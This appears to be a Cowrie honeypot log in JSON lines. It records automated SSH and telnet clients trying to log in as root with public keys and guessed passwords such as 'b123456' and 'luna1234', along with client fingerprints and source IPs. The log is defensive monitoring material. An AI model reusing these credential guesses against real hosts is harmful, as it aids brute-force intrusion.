{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:4c:4b:85:fb:f2:2d:45:94:4b:7a:08:53:85:63:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD5STJoVjn51am4NPCJJwgDD62hwtdCJhOjwRCCVF+Dg+eQHjvsUz3uKFxrRttgLSQZCScsUVeeFSfIs8ornQfXg8lk3+0s4Fy+lKj/Aoms9JgjXOw6dUkbeDIEh8LXnY//Bkx1DY2Lou9bu2N7R/JHPmjM2fKb7O/1zQi8rs9klcvRfkQODFztCbMETWuw4Ow1o1qBwuSFgXU+kHKduVj5NAM0EdPoPY4fWsf/oQ3gGZ09fTodgtwufpeG2DFUU4Bj59Ux+KrgjKNF8xPRArqmsvjn45TWicvcR5TtviGy3mmeTNOhrxlO4bQbf550+Ue6ZtNz0UKeaPBpon8tlGmR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:4c:4b:85:fb:f2:2d:45:94:4b:7a:08:53:85:63:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:08.084038Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:4c:4b:85:fb:f2:2d:45:94:4b:7a:08:53:85:63:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD5STJoVjn51am4NPCJJwgDD62hwtdCJhOjwRCCVF+Dg+eQHjvsUz3uKFxrRttgLSQZCScsUVeeFSfIs8ornQfXg8lk3+0s4Fy+lKj/Aoms9JgjXOw6dUkbeDIEh8LXnY//Bkx1DY2Lou9bu2N7R/JHPmjM2fKb7O/1zQi8rs9klcvRfkQODFztCbMETWuw4Ow1o1qBwuSFgXU+kHKduVj5NAM0EdPoPY4fWsf/oQ3gGZ09fTodgtwufpeG2DFUU4Bj59Ux+KrgjKNF8xPRArqmsvjn45TWicvcR5TtviGy3mmeTNOhrxlO4bQbf550+Ue6ZtNz0UKeaPBpon8tlGmR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:08.088253Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:cb:c9:d4:a6:bf:45:87:26:2d:57:b8:9f:a8:9d:38","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH17fdCq4l/nyhgMj8q0Iu0HvX/EwoNPZh23CDHPAC2w","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 6a:cb:c9:d4:a6:bf:45:87:26:2d:57:b8:9f:a8:9d:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:08.127147Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:cb:c9:d4:a6:bf:45:87:26:2d:57:b8:9f:a8:9d:38","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH17fdCq4l/nyhgMj8q0Iu0HvX/EwoNPZh23CDHPAC2w","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:08.130073Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:08.168043Z","src_ip":"173.236.82.246","session":"04a30aaafe5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.856672048568726,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:11.567667Z","src_ip":"152.42.224.71","session":"cd5d5c124268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":33050,"dst_ip":"159.203.135.109","dst_port":22,"session":"8191133592a8","protocol":"ssh","message":"New connection: 193.228.128.84:33050 (159.203.135.109:22) [session: 8191133592a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:12.723930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:12.728801Z","src_ip":"193.228.128.84","session":"8191133592a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:12.831892Z","src_ip":"193.228.128.84","session":"8191133592a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"b123456","message":"login attempt [root/b123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:13.137787Z","src_ip":"193.228.128.84","session":"8191133592a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:14.242573Z","src_ip":"193.228.128.84","session":"8191133592a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":54318,"dst_ip":"159.203.135.109","dst_port":22,"session":"18a95b64e154","protocol":"ssh","message":"New connection: 103.149.170.125:54318 (159.203.135.109:22) [session: 18a95b64e154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:24.382307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:24.387032Z","src_ip":"103.149.170.125","session":"18a95b64e154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:24.663744Z","src_ip":"103.149.170.125","session":"18a95b64e154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stepan","message":"login attempt [root/stepan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:25.475324Z","src_ip":"103.149.170.125","session":"18a95b64e154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:26.759783Z","src_ip":"103.149.170.125","session":"18a95b64e154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.766788482666016,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:29.682126Z","src_ip":"152.42.224.71","session":"f0487bafa25a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.45358324050903,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:31.431360Z","src_ip":"152.42.224.71","session":"104062410621","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":43864,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fc3d41e315b","protocol":"ssh","message":"New connection: 43.134.142.250:43864 (10.17.0.5:22) [session: 3fc3d41e315b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:32.465013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:32.469448Z","src_ip":"43.134.142.250","session":"3fc3d41e315b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:32.707269Z","src_ip":"43.134.142.250","session":"3fc3d41e315b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":54416,"dst_ip":"10.17.0.5","dst_port":22,"session":"557fcaeb7c7e","protocol":"ssh","message":"New connection: 62.133.63.178:54416 (10.17.0.5:22) [session: 557fcaeb7c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:33.028305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:33.033015Z","src_ip":"62.133.63.178","session":"557fcaeb7c7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:33.155676Z","src_ip":"62.133.63.178","session":"557fcaeb7c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08051973god","message":"login attempt [root/08051973god] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:33.525982Z","src_ip":"62.133.63.178","session":"557fcaeb7c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luna1234","message":"login attempt [root/luna1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:33.690323Z","src_ip":"43.134.142.250","session":"3fc3d41e315b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:34.651256Z","src_ip":"62.133.63.178","session":"557fcaeb7c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:34.931046Z","src_ip":"43.134.142.250","session":"3fc3d41e315b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.244","src_port":47584,"dst_ip":"10.17.0.5","dst_port":22,"session":"b77d5e55b964","protocol":"ssh","message":"New connection: 179.61.232.244:47584 (10.17.0.5:22) [session: b77d5e55b964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:36.993376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:36.997359Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.025448Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:d8:0d:2d:44:e7:50:e2:0d:47:17:c5:1e:eb:38:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzyf3fa7Yvy18ArgjRaUn9NSkzFosKcz4FgIpttHIbQkhJsHMha1y5SYCVHPBKkEe93HB4tViMsh2Gts0D/nxjNLvT/3qgcZRvLCNngfYyEIfypxrpD39IQVsuPjSeUFFdZrqVsDjc60SKxoC3i+kT50C27cUmMjM9rzA6lQPkeONcjSNrP2AWBJg2B8VU9uv1QIX18Jjz+N+68NPU8RCGYHWWAJKbrQ5OEXdj1huN67aAvMVrroaEKexfxnWtVy+cYFzKj8+uMQ8gSxjqdDsYI0Lprb/W8ZxE76OoS6rU0zPi6DV+G4k7XDnFn8m77MwgOC1eeF8BGHbTXDBA9lULQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:d8:0d:2d:44:e7:50:e2:0d:47:17:c5:1e:eb:38:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.141750Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:d8:0d:2d:44:e7:50:e2:0d:47:17:c5:1e:eb:38:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzyf3fa7Yvy18ArgjRaUn9NSkzFosKcz4FgIpttHIbQkhJsHMha1y5SYCVHPBKkEe93HB4tViMsh2Gts0D/nxjNLvT/3qgcZRvLCNngfYyEIfypxrpD39IQVsuPjSeUFFdZrqVsDjc60SKxoC3i+kT50C27cUmMjM9rzA6lQPkeONcjSNrP2AWBJg2B8VU9uv1QIX18Jjz+N+68NPU8RCGYHWWAJKbrQ5OEXdj1huN67aAvMVrroaEKexfxnWtVy+cYFzKj8+uMQ8gSxjqdDsYI0Lprb/W8ZxE76OoS6rU0zPi6DV+G4k7XDnFn8m77MwgOC1eeF8BGHbTXDBA9lULQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.145727Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:0d:9d:27:00:0f:5d:4f:6f:c7:ab:64:4b:da:39:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfRbePyiuBYNOnzP948PggqmkY2e7RXso+wmVCdZM7hrDlPCJdqgGIxr4mkGdr+IxuPxAxYjHfyo/eFp+RnSb4TKavR051i+HvbkSYxxJpjAkALkmbiUkvNq07oQZKrCJJ88y7rvRfuQW8m4qTNqG3blwitmfCIgq4aCPzPO4S7WQEWN3PCBG1eCgjgBhpPOXOhADZ/uuPP1DoeSUEp3mhzKb8G0UqHnjY7Yt7NUUzXaQU2tgIaLumi14898eZY+QrRGFm+0JR6rQeSeS0j8v5DIhDrjSS3DiWZrrvc9ifi1xGq6vyUYnOove3JVhFp6w54k6Zxo4qH7CrcCp3/Asr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:0d:9d:27:00:0f:5d:4f:6f:c7:ab:64:4b:da:39:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.177753Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:0d:9d:27:00:0f:5d:4f:6f:c7:ab:64:4b:da:39:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfRbePyiuBYNOnzP948PggqmkY2e7RXso+wmVCdZM7hrDlPCJdqgGIxr4mkGdr+IxuPxAxYjHfyo/eFp+RnSb4TKavR051i+HvbkSYxxJpjAkALkmbiUkvNq07oQZKrCJJ88y7rvRfuQW8m4qTNqG3blwitmfCIgq4aCPzPO4S7WQEWN3PCBG1eCgjgBhpPOXOhADZ/uuPP1DoeSUEp3mhzKb8G0UqHnjY7Yt7NUUzXaQU2tgIaLumi14898eZY+QrRGFm+0JR6rQeSeS0j8v5DIhDrjSS3DiWZrrvc9ifi1xGq6vyUYnOove3JVhFp6w54k6Zxo4qH7CrcCp3/Asr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.180701Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:0e:7f:2c:35:44:e9:65:25:4f:a2:ea:34:4c:c7:7c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ0YW9vEZk15ep/Xzsa7uJNIOExxpPxajVzs32HLOYKY","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ec:0e:7f:2c:35:44:e9:65:25:4f:a2:ea:34:4c:c7:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.208396Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:0e:7f:2c:35:44:e9:65:25:4f:a2:ea:34:4c:c7:7c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ0YW9vEZk15ep/Xzsa7uJNIOExxpPxajVzs32HLOYKY","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.212732Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:50:de:98:99:4e:fe:fd:5f:a7:41:5c:57:04:d7:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV7JHI/XP2MV5QJTkYnCzmQJBu2iuoXJAYEG/55j/4yADSTWjYogxIaBUiXdAIXfgdxzgfevsdQFlhOdgnfxtCpx81oBql/YhX3FA9f3UvbNeQ3osVdfLjvmGzvIMaI3ZNZAepLEzDJ37x/27Mhi14Gh93L5XJ+x8KtOcGfNDuwCNpmnCxY7f/VD6D7HkjvRfwi2sJIWnHY+0dvmgC9A8o666yQhEsqdd0jdWkgW24Zr+IMuNyIyet6aQyuKqr4OjfukNY5qGEBhG4++zYAv4pvNB2vw3nmh8AFZVLeFdrFOFaCykWc65swTYpdxd+NP/R5SSDh2LjtoZ8bdqG0JBt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:50:de:98:99:4e:fe:fd:5f:a7:41:5c:57:04:d7:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:06:37.241055Z","src_ip":"179.61.232.244","session":"b77d5e55b964","protocol":"ssh"}
